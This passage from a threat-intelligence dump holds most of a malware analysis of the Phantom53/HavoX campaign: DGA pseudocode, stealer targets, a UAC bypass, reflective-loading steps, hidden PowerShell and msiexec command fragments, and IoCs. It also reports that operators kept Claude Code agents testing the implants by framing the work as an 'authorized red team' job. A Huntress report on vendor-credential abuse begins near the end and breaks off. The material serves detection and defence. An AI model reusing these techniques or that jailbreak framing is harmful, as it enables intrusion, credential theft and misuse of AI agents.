CMD_TELEM_RESET\n\nhttps://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe\n\nDescription\n\nSelf-delete: remove scheduled tasks, remove directories of virtual\n\nenvironments, delete temp files, terminate process\n\nExecute PowerShell payload: ASCII→UTF-16LE→base64 →\n\npowershell -NonInteractive -WindowStyle Hidden -\n\nEncodedCommand\n\nMulti-chunk PowerShell payload (up to 1440 bytes, ~15 chunks,\n\n~22 DNS requests)\n\nChunked delivery of new C2 domain string – live domain\n\nmigration without re-deployment or Cloudflare Worker URL for\n\ntelemetry sending\n\nClear telemetry-sent flag → force resend of system info on next\n\nbeacon tick\n\nOn the very first beacon tick, Phantom53 sends a rich system info blob before starting regular polls for commands. It first\n\nsends a special INIT FQDN ({bot36}-{cookie36}-{hn0}-{hn1}-{hn2}-{hn3}.{c2_domain}) to retrieve a Cloudflare Worker\n\nexfiltration URL from the server in the AAAA response (cmd byte equal to 7 – CMD_REHOME). Then it collects system\n\ninformation such as OS version, architecture, RAM, CPU string, username, hostname, process list snapshot count, screen\n\nresolution, install date, bot_id, build ID, elevation, AD status, running processes and services, installed applications, autorun\n\nentries, sandbox fingerprints and endpoint security solutions. Finally, it encrypts them with AES-256-GCM (key\n\nTELEM_KEY_BYTES) and exfiltrates them through HTTP POST to {AAAA_response_cloudflare_url}/api/metrics.\n\nPhantom53 DoH C2 Overview\n\nDomain Generation Algorithm\n\nIn case the beaconing domain returns NXDOMAIN (Non-Existent Domain) from 3 different DoH providers within a 30-\n\nminute interval between checks, the domain transitions to a “blocked” state. The Phantom53 beacon then triggers a DGA\n\nscan. It uses a week-keyed SHA256 DGA to provide domain failover resilience. The algorithm generates deterministic\n\ndomains from a seed string, year, and ISO week number. The DGA scan window checks 3 weeks: current week − 2, current,\n\ncurrent + 1. For each candidate, the beacon sends a heartbeat poll and Ed25519 domain verification. Only a domain that\n\nanswers both is used. This allows agents to recover after extended downtime and lets operators pre-register next week’s\n\ndomain before the current one is sinkholed.\n\nExample Domain Generation\n\nPage 11 of 25\n\n// DGA: SHA256(“phantom53-{year}-W{week:02d}-{index:02d}”)[0:12] + “.xyz”\n\ninput = sprintf(“%s-%d-W%02d-%02d”, seed, year, week, index)\n\n// Example: “phantom53-2026-W05-01”\n\nhash = SHA256(input)\n\n// Take first 6 bytes as hex → 12-char label\n\ndomain = hex(hash[0:6]) + “.xyz”\n\n// Result: “478a4d17d280.xyz”\n\nExample Scheduled Task Description Storing DGA State\n\nState Condition\n\n0 – HARDCODED\n\n(initial)\n\n1 – DGA_PENDING\n\n1 – DGA_PENDING\n\n2 – DGA_ACTIVE\n\n2 – DGA_ACTIVE\n\nAdminka\n\nNXDOMAIN\n\n(blocked)\n\nNXDOMAIN (still\n\nblocked)\n\nC2 responds →\n\nNOERROR\n\nNXDOMAIN\n\n(blocked)\n\nSERVFAIL\n\nhttps://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe\n\nThe DGA state distinguishes between domain failure types. It stores state in its scheduled task description field, encoded as:\n\nAction\n\nretry (network issue, not block).\n\nGenerate DGA → STATE=1. On SERVFAIL: stay and\n\nDo NOT generate new DGA: The domain was never\n\nconfirmed meaning the operator hasn’t registered it yet.\n\nKeep trying.\n\nbefore, so this is a real takedown.\n\nConfirm domain → STATE=2 (DGA_ACTIVE).\n\nGenerate new DGA → STATE=1. Domain was working\n\nStay, keep trying. Temporary NS outage, not a takedown.\n\nOperators interact with the adminka Go binary via a TUI inspired by Metasploit’s console. The adminka connects to the\n\nFastAPI backend on port 5000 over HTTP and to the DNS server directly and gives operators an interface to send\n\nCommand\n\nserve\n\nss / sessions\n\nss \u003cN\u003e\n\ninfo\n\nalias add \u003cname\u003e \u003ckey\u003e\n\n\u003ccf_url\u003e /alias add \u003cname\u003e\n\ncmd \u003cpayload\u003e\n\ncmd \u003calias\u003e\n\nsl \u003cmin\u003e [max]\n\ncommands to Phantom53-infected devices. Key TUI commands include:\n\nDescription\n\nStart Phantom53 DNS Server\n\nList all active bots with status, build ID, privilege level, and AD\n\nmembership\n\nSelect bot #N for subsequent commands\n\nQueue a command or alias payload for a bot\n\n*Aliases hold either a DEMON payload (AES key + CF URL for the\n\nHavoX .dat blob) or a raw PowerShell CMD payload. They are\n\nreferenced by name when queuing a cmd command.*\n\nSave a DEMON (AES key + CF Worker URL) alias / Save a CMD\n\n(PowerShell) alias\n\nSend trigger for CMD_WAKE (HavoX Demon load) or PowerShell\n\npayload (depending on configured alias)\n\nChange beacon cadence (XML round-trip on schtask)\n\nPage 12 of 25\n\nCommand\n\nwipe\n\ntelem\n\nmigrate \u003cdomain\u003e\n\nadminka Non-Interactive Helper Commands\n\ntowards hxxp[://]145[.]63[.]138[.]67:8125/up/ paths:\n\nPurpose\n\nPassword Manager Browser\n\nExtension Stealer\n\nCisco VPN UIHistory,\n\nOpenVPN, Codex\n\nsession_index and Conda\n\ntoken Stealer\n\nLevel RMM Drop\n\nAI Secret and History\n\nStealer\n\nGoogle Chrome, SSH \u0026 Git\n\nData Stealer\n\nCrypto Wallet Stealer\n\nhttps://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe\n\nDescription\n\nSelf-delete by queuing CMD_WIPE: remove schtasks, virtual\n\nenvironments, temporary files\n\nView implant telemetry (OS, hardware, AV/EDR flags, sandbox score,\n\nprocess list)\n\nQueue CMD_REHOME: Beacon probes new domain, Ed25519-verifies,\n\nthen atomically switches C2 domain\n\nBased on the operators’ files, multiple payload aliases were configured for different PowerShell scripts with exfiltration\n\nDescription\n\nLocal Data in Chrome and Edge Browsers \u0026 AppData folders\n\nLastPass, KeePass, Bitwarden\n\n.cisco\\vpn\\log\\UIHistory_*.log.txt\n\n\\OpenVPN\\config\n\n.codex\\session_index.jsonl\n\n.codex\\config.toml\n\n.conda\\aau_token\n\nDownloads and executes Level RMM MSI from\n\nhttps://downloads.level.io/level.msi\n\n5 AI products based on directory names, marker files, environment\n\nvariables and browser extensions (e.g., claude-code, codex, gemini-cli,\n\ncursor, windsurf, copilot/vscode, continue, goose, amp, opencode,\n\nhuggingface and others)\n\nGoogle Chrome User Data \u0026 Local State encryption key\n\nSSH keys\n\nGit configurations\n\nGitHub CLI tokens\n\nAppData paths and configuration files\n\nExodus\n\nElectrum\n\nAtomic\n\nTonkeeper\n\nPage 13 of 25\n\nPurpose\n\nSeed Phrase Stealer\n\nUAC Bypass\n\nMessaging and Notes\n\nApplication Stealer\n\nSMB Wordlist Attack \u0026\n\nLocal Administrators Group\n\nEnumeration\n\nExcerpt from AI Scan Payload\n\nWatcher\n\nhttps://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe\n\nDescription\n\nBitcoin\n\nPhantom\n\nCoinbase\n\nBinance\n\nUser directories (Desktop, Documents, Downloads, and AppData)\n\nWallet backup files\n\n12-24 word BIP-39 mnemonic phrases\n\nfodhelper.exe registry hijacking technique to launch an elevated, hidden\n\nPowerShell payload without UAC prompting the user\n\nAppData paths and configuration files\n\nWhatsApp\n\nTelegram\n\nSignal\n\nSticky Notes\n\nHardcoded list of candidate passwords against the local Administrator\n\naccount via loopback SMB connections (\\\\127.0.0.1\\C$)\n\nnet localgroup administrators\n\nThe watcher is the second .pyd in Venv B. While the beacon in Venv A handles all C2 communication via DoH, the watcher\n\nhas a single job: deliver and host the HavoX (Havoc) Demon. It never touches the network. It waits for the beacon to drop\n\nPage 14 of 25\n\nhttps://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe\n\nan IPC file (%TEMP%\\{pattern}.tmp) containing the AES key and Cloudflare Worker URL when the operator delivers a\n\nCMD_WAKE response, then loads the Demon blob into a subprocess. This .pyd file has two execution modes based on the\n\ncommand line. If the command line contains the demon marker, it launches the demon loader entry; otherwise, the watcher\n\nruns and monitors for the IPC file drop. The full watcher chain is as follows:\n\nThe operator sends the command cmd demon1 (demon1 alias = release Demon, demon_debug = debug) upon\n\naccessing the specific victim bot through adminka (ss #N)\n\nAdminka queues CMD_WAKE with the AES key and Cloudflare Worker URL\n\nThe beacon receives CMD_WAKE with its arguments and writes [wake_id:8][aes_key:32][cloudflare_url:N] to\n\n%TEMP%\\{pattern}.tmp (IPC file)\n\nThe watcher detects the IPC file (checking every 3 minutes according to its scheduled task trigger), reads wake_id\n\nand checks if Global\\P53Demon_{wake_id_hex} mutex exists. If it does, it skips spawning another instance (per-\n\nWAKE hex ID). Otherwise it runs pythonw.exe 1fb1e42ce996.pyw \u003cDEMON_MARKER\u003e (e.g., 964bb46f) to launch\n\nthe demon loader entry and creates the mutex\n\nA new instance of the watcher (with the demon loader entry) reads and deletes the temporary file. It acquires the per-\n\nWAKE singleton mutex, iterates demon.dat and demon_dbg.dat and decrypts the correct one as a DLL based on\n\nAES-GCM using the provided AES key\n\nThen it scans the decrypted DLL memory for the “@@HAVOX_CF_URL@@” marker and replaces it with the CF\n\nWorker hostname from the IPC file. This enables one universal Demon binary for all environments\n\nIt then uses a custom reflective loader for memory-only execution:\n\nAllocates memory using VirtualAlloc RW (preferred base)\n\nCopies the DLL into that block (PE headers and each section at correct offsets)\n\nApplies the BASERELOC relocations\n\nResolves the imports using LoadLibraryA and GetProcAddress\n\nApplies memory protection (VirtualProtect) per section (.text=RX \u0026 .data=RW)\n\nWipes the evidence by zeroing out the buffer since the demon is now loaded\n\nFinally, it calls DllMain using DLL_PROCESS_ATTACH to start the Havoc demon (create its C2 communication\n\nthreads and connect to the Cloudflare Worker URL)\n\nThe demon then enters an infinite NtDelayExecution loop (60s intervals) for staying alive\n\nPhantom53 Watcher’s Different Entry Points\n\nPage 15 of 25\n\nhttps://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe\n\nHavoX Login Panel at hxxp[://]145[.]63[.]138[.]67:8000/\n\nAI Usage: Claude Code\n\nPhantom53 provides direct evidence of AI-assisted malware development and testing. The codebase contains artifacts\n\ncharacteristic of development using Anthropic’s Claude Code. This includes project configuration directories (.claude/ with\n\nsettings.json), a task tracking system in Claude Code’s exact naming convention, and operator prompts explicitly targeting a\n\nClaude agent wrapper.\n\nTasks With Claude Code Naming Convention\n\nAcross three sub-projects (adminka, implant_v3 and implant_v4), 143 numbered task markdown files follow Claude Code’s\n\nNNN-task-name.md naming convention:\n\nSub-project Range Representative Tasks Count\n\n001-project-scaffold, 005-tui, 014-tui-redesign, 019-msf-\nadminka/.tasks/ 001-024 25\nconsole-tui-interface, 024-act-overlap-zombie-fix\n\n001-023 + 001-module-stomp, 002-pic-beacon, 016-doh-primary-\nimplant_v3/.tasks/ 31\nmisc transport, 023-failover-system, debug-full-test\n\n001-076 + 061-anti-sandbox-gate, 070-schtask-commando-detection,\nimplant_v4/.tasks/ 87\nmisc 072-universal-always-a69-incident, 074-rehome\n\nPhantom53 Task Tracking Naming\n\nPage 16 of 25\n\nhttps://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe\n\nSample Implant Tasks Structure\n\nThe implant_v4/arch.md file alone is 117 KB in size. It is a comprehensive architecture document consistent with an AI\n\nassistant maintaining real-time documentation of a complex technical system across dozens of sessions.\n\nPage 17 of 25\n\nhttps://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe\n\nExcerpt from arch.md Detailing the Full Architecture\n\nClaude Agent Prompt\n\nimplant_v4/.tasks/prompts/noav-beacon-test.md is a prompt explicitly designed to be fed to a Claude agent via a claudeg5f-\n\ntmux wrapper. The file is in Russian and instructs the Claude agent to install a test MSI on a virtual machine named\n\n“NoAV”, wait for the beacon to register in the adminka SQLite database, then run a full cleanup script. The claudeg5f-tmux\n\nwrapper is a custom Claude Code launcher that passes the markdown file as the agent’s prompt and constrains its working\n\ndirectory. This confirms the operators were using Claude agents for automated end-to-end implant testing with a jailbreak\n\nframing (“authorized red team”) to keep the agent on-task.\n\nExcerpt from NoAV Lab Automation Prompt\n\nTargeting\n\nAlmost a thousand personalized XaocMail document sharing pages were identified. Based on recipient email addresses and\n\nphishing content used, several targeting patterns emerged. The operators heavily targeted Latin American countries such as\n\nBrazil and Peru, followed by entities in Asia (India and Indonesia) and Europe (Spain).\n\nCountry Distribution Based on Recipients’ TLDs\n\nEnglish was the predominant language identified in the phishing campaigns, likely chosen to maximize global reach. It was\n\nfollowed in prevalence by Portuguese, Spanish, and Indonesian.\n\nPage 18 of 25\n\nhttps://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe\n\nLanguage Distribution\n\nSector distribution was largely balanced, with a slight tilt toward technology and IT entities. The remaining targets were\n\ndistributed in similar proportions across finance, education, government, logistics, and manufacturing. While attacker intent\n\nremains unconfirmed, footholds in technology and IT entities could expose downstream clients to supply-chain risk.\n\nSector Distribution\n\nConclusion\n\nThe combination of XaocMail, Phantom53, and Havoc demonstrates a well-structured attack pipeline designed to slip past\n\nstandard security controls. By relying on trusted infrastructure like Cloudflare Workers and DNS-over-HTTPS for command\n\nand control, the campaign blends into normal network traffic, making detection difficult. The extensive use of AI tools to\n\nbuild, test, and refine the malware highlights a streamlined operational process that allows attackers to iterate and scale\n\nquickly. Defending against these campaigns requires looking beyond traditional signature-based detection to monitor\n\nanomalous DNS query behaviors and multi-stage delivery mechanisms across enterprise networks. The following threat\n\nhunting searches can be used to detect Phantom53 intrusions:\n\nPage 19 of 25\n\n%LOCALAPPDATA%\n\ninstallation directory)\n\nMITRE ATT\u0026CK\n\nTactic\n\nResource\n\nDevelopment\n\nInitial Access\n\nExecution\n\nExecution\n\nExecution\n\nExecution\n\nExecution\n\nPersistence\n\nPersistence\n\nhttps://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe\n\nmsiexec.exe spawned from the Run dialog (explorer.exe parent) with a workers.dev URL argument\n\npythonw.exe spawned by svchost.exe (TaskScheduler) executing a .pyw file from %APPDATA% or\n\npythonw.exe executing a .pyw file and loading .pyd files from a non-standard path (outside a standard Python\n\npythonw.exe making HTTPS connections to popular IP and hostname-based DoH resolvers over port 443, or\n\nconnecting to IP addresses on port 53 (fallback method)\n\nTechnique\n\nID\n\nT1583.007\n\nT1566.002\n\nT1204.004\n\nT1059.001\n\nT1129\n\nT1059.006\n\nT1559.001\n\nT1053.005\n\nT1546\n\nTechnique Name\n\nAcquire Infrastructure:\n\nServerless\n\nPhishing: Spearphishing\n\nLink\n\nUser Execution: Malicious\n\nCopy and Paste\n\nCommand and Scripting\n\nInterpreter: PowerShell\n\nShared Modules\n\nCommand and Scripting\n\nInterpreter: Python\n\nInter-Process\n\nCommunication:\n\nComponent Object Model\n\nScheduled Task/Job\n\nEvent Triggered Execution\n\nPage 20 of 25\n\nDescription\n\nOperators utilized Cloudflare Workers\n\nfor XaocMail, Phantom53, and Havoc\n\ndeployments.\n\nXaocMail phishing emails embed\n\nlanding pages with ClickFix lures.\n\nPhantom53 is delivered via ClickFix\n\nlures from XaocMail.\n\nPhantom53 CMD_EXEC command\n\ndelivers base64 encoded PowerShell\n\npayloads.\n\nPhantom53 executes .pyd files loading\n\nthem through pythonw.exe execution.\n\nAll Phantom53 stages run inside\n\npythonw.exe.\n\nPhantom53 MSI registers two scheduled\n\ntasks (beacon and watcher) using COM\n\nITaskFolder::RegisterTask.\n\nPhantom53 MSI registers two scheduled\n\ntasks (beacon and watcher) using COM\n\nITaskFolder::RegisterTask.\n\nPhantom53 watcher launches Havoc\n\ndemon if the beacon receives the\n\nCMD_WAKE command.\n\nTactic\n\nPrivilege\n\nEscalation\n\nDiscovery\n\nStealth\n\nStealth\n\nStealth\n\nEvasion\n\nExfiltration\n\nCommand and\n\nControl\n\nCommand and\n\nControl\n\nCommand and\n\nControl\n\nIoCs\n\nNetwork Indicators\n\nTechnique\n\nID\n\nT1548.002\n\nT1082\n\nT1036.005\n\nT1620\n\nT1218.007\n\nT1497.003\n\nT1567\n\nT1132.001\n\nT1568.002\n\nT1071.004\n\nhttps://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe\n\nTechnique Name\n\nAbuse Elevation Control\n\nMechanism: Bypass User\n\nAccount Control\n\nSystem Information\n\nDiscovery\n\nMasquerading: Match\n\nLegitimate Resource Name\n\nor Location\n\nReflective Code Loading\n\nSystem Binary Proxy\n\nExecution: Msiexec\n\nVirtualization/Sandbox\n\nEvasion: Time Based\n\nChecks\n\nExfiltration Over Web\n\nService\n\nData Encoding: Standard\n\nEncoding\n\nDynamic Resolution:\n\nDomain Generation\n\nAlgorithms\n\nApplication Layer Protocol:\n\nDNS\n\nDescription\n\nPhantom53’s scheduled task generates a\n\nUAC prompt if the process is not\n\nelevated; also uses fodhelper.exe registry\n\nhijacking to bypass UAC.\n\nOn the first beacon tick, Phantom53\n\nsends host telemetry (hardware ID,\n\nhostname, privilege level, AD\n\nmembership).\n\nPhantom53 scheduled task names use\n\nMicrosoft-style naming and it uses .pyd\n\ndonors from real PyPI packages.\n\nPhantom53 watcher loads the Havoc\n\ndemon through reflective code loading.\n\nClickFix commands deliver Phantom53\n\nMSI run through msiexec.exe /i \u003cURL\u003e\n\n/qn.\n\nPhantom53’s anti-sandbox gate checks\n\nuptime, inter-tick delta, and idle time.\n\nPhantom53 PowerShell payloads\n\nexfiltrate data via HTTP POST.\n\nPhantom53 command data are encoded\n\nas base36 in FQDN labels.\n\nPhantom53 uses a weekly SHA256-\n\nbased DGA.\n\nPhantom53 uses DNS-over-HTTPS as\n\nthe C2.\n\nType Indicator Descr\n\nXaocM\n\nLandi\n\n8585)\nIP\n185[.]224[.]132[.]148 Backe\nAddress\n5000)\n\nServe\n\n53)\n\nIP OPS S\n162[.]252[.]198[.]204\nAddress (SSH:\n\nPage 21 of 25\n\nhttps://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe\n\nType Indicator Descr\n\nIP OPS S\n162[.]252[.]199[.]92\nAddress (Ligol\n\nIP\n94[.]156[.]152[.]7 Opera\nAddress\n\nXaocM\nIP\n145[.]63[.]138[.]67 (8081\nAddress\nHavoc\n\nIP RevSo\n91[.]132[.]93[.]251\nAddress WSS\n\nProxy\nIP\n176[.]9[.]154[.]69 Crede\nAddress\nHunti\n\nOPS C\nDomain dns[.]timesyncserver-312453[.]com\nDoma\n\nXaocM\n\nDomain securedoc[.]makeneg458[.]workers[.]dev Phishi\n\nClickF\n\nXaocM\n\nDomain securedoc[.]mesuttgulerr573[.]workers[.]dev Phishi\n\nClickF\n\nDomain linkrot[.]fypahedupal2-0maz[.]workers[.]dev Link R\n\nTelem\nDomain cdn-analytics-p53[.]makeneg458[.]workers[.]dev\nCollec\n\nTelem\nDomain cdn-analytics-3f4033[.]rosamariaeadeshtvfud[.]workers[.]dev\nCollec\n\nDomain sync-node-serv[.]com HavoX\n\nDomain dns[.]cdn-syncnode-server[.]com HavoX\n\nDomain cdn-assets-api[.]cfchk902834[.]workers[.]dev HavoX\n\nDomain cdn-assets-api[.]makeneg458[.]workers[.]dev HavoX\n\nDomain cdn-assets-api[.]kessler-m88[.]workers[.]dev HavoX\n\nDomain cdn-assets-api[.]busykifukek2-8psk[.]workers[.]dev HavoX\n\nDomain a8f2aac37385[.]xyz Phant\n\nDomain kfkwrfdd[.]xyz Phant\n\nDomain 544504d7fe1e[.]xyz Phant\n\nRevSo\nDomain bestutyresdomaonupder[.]com\nWSS\n\nRevSo\nDomain bestutyresdomaonupder[.]top\nWSS\n\nRevSo\nDomain bestutyresdomaonupder2324[.]com\nWSS\n\nPage 22 of 25\n\nhttps://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe\n\nType Indicator\n\nURL hxxps[://]securedoc[.]mesuttgulerr573[.]workers.dev/?id=\u003clinkid:8\u003e\n\nURL hxxps[://]securedoc[.]mesuttgulerr573[.]workers.dev/m?id=\u003clinkid:8\u003e\n\nURL hxxps[://]securedoc[.]mesuttgulerr573[.]workers.dev/s?id=\u003clinkid:8\u003e\n\nURL hxxps[://]securedoc[.]mesuttgulerr573[.]workers.dev/h?id=\u003clinkid:8\u003e\n\nURL hxxp[://]145[.]63[.]138[.]67:8125/up/\n\nhxxps[://]linkrot[.]fypahedupal2-0maz[.]workers[.]dev/link?\nURL\ntoken=7157717581ca4e3dda83e418af25fa448fe98ed2\n\nhxxps[://]gist[.]githubusercontent[.]com/yegeqebige46-\nURL\ncreator/b393f36b20ad8aeadcb8a80af70ccc09/raw/da03fd7f1ffacda970a1f3d345bdaeae8c6a7b43/gistfile1[.]txt\n\nURL hxxps[://]github[.]com/yegeqebige46-creator/qq\n\nURL hxxps[://]github[.]com/yegeqebige46-creator/qq/raw/main/update[.]zip\n\nURL hxxps[://]github[.]com/JohnDow22\n\nEmail\nmesuttgulerr573[@]gmail.com\nAddress\n\nEmail\nrosamariaeadeshtvfud[@]gmail.com\nAddress\n\nEmail\nnepox3k[@]gtuta.io\nAddress\n\nEmail\nyegeqebige46[@]gmail.com\nAddress\n\nHost Indicators\n\nType Indicator\n\nSHA256 bceeb2d54b6a756c73a3e06617e9e95ad4d8e53da47639bcd6ef3cae98c6da6d\n\nSHA256 79a4cb73983a1facb5db09f1a20cec6e58d91a93044a78aa3ba32ab2190284ed\n\nPage 23 of 25\n\nDescr\n\nXaocM\n\nClickF\n\nXaocM\n\nPaylo\n\nXaocM\n\nPower\n\nPaylo\n\nXaocM\n\nPaylo\n\nExfilt\n\nURL\n\nRotate\n\nsecure\n\n[cf].w\n\nsubdo\n\nPhant\n\nPaylo\n\nPhant\n\nPaylo\n\nPhant\n\nPaylo\n\nOpera\n\nGitHu\n\nOpera\n\nCloud\n\nAccou\n\nOpera\n\nCloud\n\nAccou\n\nOpera\n\nGitHu\n\nOpera\n\nGitHu\n\nDescription\n\nHTA\n\nXaocMail-\n\nPhantom53\n\npayload\n\nPowerShell\n\nXaocMail-\n\nhttps://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe\n\nType Indicator Description\n\nPhantom53\n\npayload\n\nbuild_v4.py –\n\nBuilding\nSHA256 0e1c94a8f94158f64558325ddbfd1e1277884fba6fb1f8c381dbd5c742e59fbb\nPhantom53\n\nMSI builds\n\nMSI\n\nXaocMail-\nSHA256 7055483a77f679ad569c3a9bfe76cdb8e5b96efc44d2bf2a6f08e930add598b0\nPhantom53\n\npayload\n\nMSI\n\nXaocMail-\nSHA256 0dcfe51d2521e52a469f5cec6b42bc8e7e37b41df993cce7d739ff3fd248d8b1\nPhantom53\n\npayload\n\nMSI\n\nXaocMail-\nSHA256 bd1c005f35e4fd8c61dfa6f20d4c03e082c692e286a3b22dd642369c8d5e3564\nPhantom53\n\npayload\n\nMSI\n\nXaocMail-\nSHA256 dbd252becd490ac47e16bff4391ab9e6237c4f7e81ab6784c57fa2eed751f477\nPhantom53\n\npayload\n\nMSI\n\nXaocMail-\nSHA256 e9e57a57ee45b8faae2e47affd8cf3a6d0cc1283802108f7298ae1d2ef3b43f0\nPhantom53\n\npayload\n\nMSI\n\nXaocMail-\nSHA256 d2d41b249905deae3bd6bcaa547872d747256a7dfa459b509d9db9de8f0ca29b\nPhantom53\n\npayload\n\nMSI\n\nXaocMail-\nSHA256 ee5fa33b58d0f2772e091e23de9db24908d970000a88e39fd7d908f30f5e591a\nPhantom53\n\npayload\n\nMSI\n\nXaocMail-\nSHA256 a972797cc1a4161f6e2841142b8cace9b781585f9a71b03aa79a9c051b817491\nPhantom53\n\npayload\n\nMSI\n\nXaocMail-\nSHA256 47e853092511d9663196e9b36d563a0c3e92ee734f88675c4f375ffcfa5f3db8\nPhantom53\n\npayload\n\nMSI\n\nXaocMail-\nSHA256 4efe003a54db8ffbaef6065270eacb0a59479ccc86941517ac7a33344e97bc1d\nPhantom53\n\npayload\n\nPage 24 of 25\n\nhttps://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe\n\nType Indicator\n\nSHA256 9a2af4b6d9780e08c86ff35030ee1747ea11460cb1dffc868c48e7af6d626546\n\nSHA256 efc4b8c1968c06e598a6f6f98398d44b488198b497291fe30fb792d696b6cb81\n\nSHA256 4f656834e545c0b44922ce6d8952989c8c0859d8ae8b1f117c06ab07b047e2b4\n\nSHA256 8ebb2bf61b48ae7abdcd674413bebd79b30ddd945854e175ba60d56c0a3adf54\n\nSHA256 a4ad001c6900176eba43a747ae5d212db6fc78f7ef4e777f276cbbdf8099dbe8\n\nSHA256 dc57638cb90798835848a9dafec228bef7738def50f4f2db612862e07c5b6f8a\n\nSHA256 56582934901cce0b618d6a50e54c9db29bf2d444636bcd40b5975a765ecde538\n\nSHA256 009099ba10365b44bdb3ecc28dfcbed6a594ec0a0df86931620cdaac9843e611\n\nSHA256 0aff424f9a02eb9f429119c4caa05e85fc952603549d69849e745293d20235d6\n\nSource: https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe\n\nPage 25 of 25\n\nDescription\n\nMSI\n\nXaocMail-\n\nPhantom53\n\npayload\n\nadminka\n\nbeacon.pyd\n\nwatcher.pyd\n\ndemon.dat –\n\nHavoc\n\nencrypted\n\ndemon_dbg.dat\n\n– Havoc\n\nencrypted\n\ngistfile1.txt –\n\nPrevious\n\nversion\n\nGUP.exe\n\nsideloading\n\nlibcurl.dll\n\nupdate.zip –\n\nPrevious\n\nversion\n\nGUP.exe\n\nsideloading\n\nlibcurl.dll\n\nlibcurl.dll","extraction_quality":1,"language":"EN","sources":["OTX"],"origins":["web"],"references":["https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe"],"report_names":["xaocmail-clickfix-phantom53-havox-america-asia-europe"],"threat_actors":[],"ts_created_at":1794967848,"ts_updated_at":1794968424,"ts_creation_date":0,"ts_modification_date":0,"files":{"pdf":"https://archive.orkl.eu/2032852fef8ebeacaa8d23ad44f0d6897d7e9ec6.pdf","text":"https://archive.orkl.eu/2032852fef8ebeacaa8d23ad44f0d6897d7e9ec6.txt","img":"https://archive.orkl.eu/2032852fef8ebeacaa8d23ad44f0d6897d7e9ec6.jpg"}},{"id":"c1736105-69e1-4c91-a1c6-8fc38758fac0","created_at":"2026-11-18T02:10:09.340118Z","updated_at":"2026-11-18T02:20:23.847201Z","deleted_at":null,"sha1_hash":"ea2a49df39dc12c4d52da947380bd4fa3bf1a352","title":"ConnectWise (SkyKick) Vendor Credentials Abused in M365 Attacks","llm_title":"","authors":"","file_creation_date":"0001-01-01T00:00:00Z","file_modification_date":"0001-01-01T00:00:00Z","file_size":971411,"plain_text":"https://www.huntress.com/blog/vendor-credential-enables-unauthorized-access\n\nConnectWise (SkyKick) Vendor Credentials Abused in M365\n\nAttacks\n\nBy Jonathan Semon\n\nPublished: 2026-10-16 · Archived: 2026-11-18 02:00:37 UTC\n\nAcknowledgements: Special thanks to Rich Mozeleski, Andrew Brandt, Andrew Kaiser, Dave Kleinatland, and\n\nMatt Kiely for their contributions to this investigation and writeup.\n\nUpdate: 10/27/26 @ 2:30PM ET\n\nIn an October 21 report, Microsoft attributed the ConnectWise credential abuse to a threat actor it tracks as Storm-\n\n0940, which it says used ARTEX, an open-source multi-agent AI framework, in the attack. We have released a\n\nfollow-up blog analyzing our own telemetry and how it aligns with these findings.\n\nUpdate: 10/19/26 @ 1:30 PM ET\n\nThis update covers three topics: additional IP addresses circulating in connection with this activity, what we have\n\nlearned about the attacker's behavior after gaining access, and the art of precision strikes against adversaries.\n\nAdditional IP addresses: As more addresses have been shared across the community, we reviewed each against\n\nour telemetry. In a review of application sign-ins across more than 10,000 tenants with ConnectWise applications\n\n(where we can see those logs),  144.172.64[.]128  and Microsoft-internal ranges are the only addresses that\n\nproduced application sign-in activity. We did not see application sign-in activity from any of the other addresses\n\nlisted below, all of which are in the same provider range as  144.172.64[.]128  (AS14956, RouterHosting). We\n\ndid see password spray and failed login attempts from some of them. At this time, we do not believe those\n\nattempts are related to the application sign-ins described in this post.\n\nIPs and characterizations below:\n\nIP Description\n\n144.172.64[.]128 Application sign-ins with a vendor credential (primary vector)\n\n144.172.64[.]99 Failed user password spray, concentrated (October 10 to 14)\n\n144.172.64[.]60 A few failed user logins (October 18)\n\nPage 1 of 12\n\nhttps://www.huntress.com/blog/vendor-credential-enables-unauthorized-access\n\n144.172.94[.]243 Broad failed login spray, ongoing, many organizations\n\nWhat happened after access was gained: Since our last update, Huntress has identified a second tenant with\n\npost-compromise activity. Huntress was not deployed on this tenant originally, but we saw service principal sign-\n\nin attempts from that tenant to Huntress-protected tenants (from the  *.128  IP address). Working proactively\n\nwith a partner, we were able to get Huntress deployed to this second tenant in order to collect additional telemetry.\n\nIn the two tenants with this activity, the post-compromise behavior was fast, scripted, and notably indiscriminate.\n\nIn both tenants, the post-compromise activities took place within two minutes of each other around 03:45 UTC on\n\nOctober 15. The procedure was the same each time: the application granted itself Global Administrator, then\n\nplanted a new secret on a small number of other applications in the tenant to keep a foothold. The choice of which\n\napplications to backdoor appeared to be random in the two tenants we reviewed. Across the two compromised\n\ntenants, the identical grant flow selected two completely different sets of applications. Notably, one application\n\nexisted in BOTH tenants but was chosen for secret planting in only one of them. In one tenant, the applications\n\nthat received planted secrets were among the least privileged in the environment, while far more powerful\n\napplications sat untouched. The only consistent criteria we can point to is structural: credentials were planted in\n\napplications that are registered inside the affected tenant, without regard to what those applications can actually\n\ndo.\n\nJust as important is what we did not see: The access may have been used for Microsoft Graph directory reads,\n\nwhich leave no audit record. In the two tenants we reviewed, we also found no evidence of mailbox or file\n\nmanipulation, or user or policy changes.\n\nOur surgical response: You might be wondering why our response did not include mass disabling the\n\nConnectWise/SkyKick apps across every tenant. Our approach to containment is deliberate, surgical, and\n\nevidence-based, and this incident called for a scalpel, not a hammer. We prioritized the tenants with confirmed\n\nsuccessful unauthorized sign-ins, and our guidance for everyone else has been to disable the affected apps and\n\ncheck their logs.\n\nWhen our investigation kicked off, we quickly established a clear picture of the attack window. The 